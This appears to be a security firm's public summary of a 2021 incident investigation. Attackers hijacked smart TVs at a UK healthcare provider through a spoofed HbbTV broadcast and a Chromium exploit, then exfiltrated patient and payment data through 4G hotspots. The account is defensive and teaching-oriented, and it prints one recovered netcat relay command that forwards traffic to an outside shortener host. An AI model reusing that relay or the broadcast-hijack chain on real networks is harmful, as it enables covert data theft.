What this project is
In May 2021 a UK healthcare provider engaged Hedgehog Security — the firm I lead — to investigate a major incident. The investigation took eight days, ran with daily briefings to the board, and ended in a written report titled Anatomy of an Over the Air Attack. The report makes for an unusually clean case study because the attack chain is genuinely novel, the evidence trail held together end-to-end, and the root cause is straightforward to explain to a non-technical audience without losing any of the technical substance.
This page is the public-facing summary of that work. It is technical, but it is written so that someone who is not a smart-TV engineer can follow what happened and why it matters.
The short version
The attackers compromised three Samsung smart TVs in the client's meeting rooms by transmitting a malicious HbbTV DVB stream — the one that the red button on a remote control normally invokes for interactive content — at higher signal strength than the legitimate broadcaster. The TVs auto-tuned to the stronger signal, silently loaded a JavaScript exploit page from the embedded HbbTV XML application, and exploited a known Chromium-based browser bug (CVE-2020-6383) for code execution. The attackers then escalated to root, installed a small netcat listener, and connected each TV's onboard Wi-Fi to a separate consumer 4G hotspot (an O2 people on the move SIM), creating three Wi-Fi-bridged egress paths that bypassed the corporate firewall, IPS, content filter, and SIEM entirely. Twenty-four days later the attackers exfiltrated 11 GB of compressed archives — about 94 GB of uncompressed data — covering 9,507 payment records and 4,394 personal records, before the investigation team noticed disc-space anomalies on the NAS and pulled the thread.
It is worth pausing on that mechanism. There were no compromised laptops, no stolen credentials, no phishing email. There was a passing television, three meeting rooms, and a transmitter strong enough to dominate the local DVB signal.
Timeline
22 April 2021. Three help-desk tickets are raised, all on the same morning, by staff in different meeting rooms: the large screens are not picking up the corporate DVB messaging stream. IT re-tunes each screen. The fault appears to clear and the tickets are closed.
14 May 2021. A single SIEM alert fires for an Excessive File Transfer: roughly 2 GB has moved from a NAS host (nas001) to internal address 192.168.22.71 on port 22 (SSH). The endpoint is a TV, the alert is tagged low-risk because TVs do not normally appear as either source or destination of large data flows, and a review is set for the following day. (The SIEM rule was, in retrospect, threshold-based and tuned to alert on single transfers above 2 GB. The attackers had split the data into 1.2 GB chunks. The rule fired only because aggregate throughput hit the threshold once.)
16 May 2021. A storage-utilisation alert on nas001 fires: less than 10% free space remains. The IT team finds 11 GB of encrypted .zip archives on the NAS, written by a system account that does not normally exist on the network, originating from 192.168.22.71 — the same Samsung TV. The IT Director declares a major incident. We are engaged that afternoon.
How the investigation unfolded
We started, conventionally, with the SIEM. The AlienVault appliance had recorded exactly one alert across the preceding fortnight that bore on the case — the 14 May Excessive File Transfer — and nothing else. The Cisco IPS and firewall were similarly silent. The Cisco VPN had two failed logins in fourteen days, both confirmed legitimate. Whatever had happened had happened in a manner that was structurally invisible to the existing logging and monitoring, which is a finding in itself and one that shaped both the rest of the investigation and the recommendations.
The Samsung TV at 192.168.22.71 was disconnected from the network and placed on an isolated lab segment. A quick nmap scan revealed an open SSH service on port 22 and an unknown service on port 8441 — neither expected on a smart television. Director-level authorisation was obtained for non-forensically-sound rooting; with root access we found, in /ltd_rwarea, the attackers' working directory: common.c and reboot.c (parts of a SMACK privilege-escalation chain previously documented by Synacktiv for the Samsung Q60T platform), an encrypted getroot binary, a static nc (netcat) build, and a small launcher script ncf containing the single revealing line:
nc -l localhost 8441 --sh-exec 'nc shorturl.at/llzO4 80'That is the entire bridge. The TV listens on port 8441; anything piped to that port is forwarded to a remote endpoint resolved through a bit.ly-class shortener that, at the time of investigation, was still live and serving the attacker's HbbTV index page.
Initial compromise: the broadcast vector
The initial compromise was the elegant bit. From the user reports on 22 April — the corporate DVB stream is not connecting on the meeting-room screen — and from artefacts on the rooted device, we reconstructed the entry sequence as follows.
An attacker-controlled DVB broadcast was transmitted in the vicinity of the building at higher signal strength than the legitimate corporate stream. HbbTV-capable televisions, by design, follow the strongest DVB signal in their tuned range; the three TVs in the affected rooms re-tuned to the malicious stream and consumed its embedded XML application — a tiny piece of HbbTV markup that, on receiving any keypress (the red button, in the standard's vocabulary, which the malicious app treated as immediate auto-press), redirected the TV's built-in Chromium browser to runme.html on the attacker's server. runme.html loaded a chain of JavaScript including overflow.js (a working drive-by for CVE-2020-6383, a Chromium V8 sort-function out-of-bounds bug) and shell.js, which delivered command-line shell access to the TV's underlying Tizen-on-Linux user context. The SMACK privilege-escalation chain promoted that to root.
Of the eleven large screens in the building, three were compromised — the same three for which 22 April help-desk tickets had been raised. The DVB fault had not been a fault. It had been the symptom of the attack.
Egress: a TV is a Wi-Fi-equipped Linux computer
Modern smart TVs are, in defensive terms, Linux computers with displays attached. The compromised TVs had a static IPv4 address on the corporate LAN (the visible interface) and an unused wlan0 (the invisible one). The attackers brought up wlan0, connected it to a separate consumer 4G Wi-Fi hotspot — an O2 SIM in each of the three TVs, on different account profiles — and then ran the nc listener inside the TV. Any traffic the attackers wanted to push out of the network entered the TV on the LAN side, was relayed through the listener, and left through the hotspot on the cellular side. The corporate firewall, IPS, content filter, and SIEM were all upstream of the egress path entirely. They had nothing to inspect.
This is the part of the case I most often use as a teaching example, because it is one of the few real-world incidents in which a control bypass is so structural that no amount of additional log analysis would have caught it. The right counter-control is architectural: smart TVs and other operational-technology endpoints belong on an air-gapped segment, with their Wi-Fi units physically removed where supported, and on a Wi-Fi monitoring regime that detects unauthorised network associations. None of those controls existed at the client.
Numbers and outcome
From the recovered command-and-control infrastructure we were able to reconstruct what was taken. Eleven gigabytes of compressed archive, roughly 94 GB uncompressed, comprising 9,507 payment records with bank and card data, 4,394 personal records, 822 records containing sensitive personal information, 71 records containing excessive personal information, and three core patient delivery services affected and requiring data-integrity review. Disclosure was made to the Information Commissioner's Office, to the relevant payment authorities, to the NHS, and to affected third-party referral organisations. Cards were re-issued.
The attackers were never identified.
Lessons that travelled
Three lessons from this case have shaped a great deal of my subsequent client work.
Operational technology is part of the attack surface. Anything with a network stack and a wireless radio is a potential egress path, and the appliance mental model — it is just a TV — is no longer accurate for any device that includes a hardened embedded Linux. The matching architectural response is described in my security-architecture article.
Threshold-based detections age badly. The single SIEM rule that fired was file transfer > 2 GB. The attackers' chunked exfiltration silently invalidated it. Modern detection programmes need the detection-engineering discipline that ships every rule with positive and negative samples and re-validates them against production data on every change.
Egress is the bit nobody monitors. Most networks invest heavily in ingress controls and almost nothing in detecting the unfamiliar shape of legitimate egress that is suddenly going somewhere it shouldn't. Wi-Fi association anomalies, in particular, were the highest-leverage missing control in this case. Adversary emulation against the same threat profile would have surfaced it; that work is now a routine purple-team scenario for me with appropriate clients.
Reading the original report
The full white paper, Anatomy of an Over the Air Attack, was published by Hedgehog Security and remains available on request. It contains the complete forensic timeline, command-line transcripts, the recovered HbbTV XML application, the contents of overflow.js and shell.js, and the ten-action remediation programme delivered to the client immediately after the investigation closed.
It also remains, several years later, one of the more useful teaching cases I keep close to hand when explaining to a board why a paragraph in the security policy that says all devices on the network must be patched and monitored needs to extend, in plain language, to the television in the meeting room.